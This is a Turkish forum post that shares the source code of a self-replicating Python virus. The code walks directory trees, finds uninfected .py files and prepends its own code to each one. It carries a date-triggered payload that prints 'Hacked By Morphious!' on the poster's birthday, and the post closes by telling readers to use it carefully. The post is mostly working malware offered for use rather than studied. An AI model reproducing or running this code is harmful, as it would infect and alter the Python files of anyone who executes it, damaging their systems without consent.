- 21 Haz 2015
- 7
- 0
Kod:
#!/usr/bin/python
import os
import datetime
SIGNATURE = "No System İs Safe"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 3 and datetime.datetime.now().day == 27:
print "Hacked By Morphious!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
Son kısım yani Bombala kısımı benim doğum günüm ile tetikleniyor bundan sonra Hacked By Morpious mesajini veriyor.
Dikkatli Kullanımlar Arkadaslar!!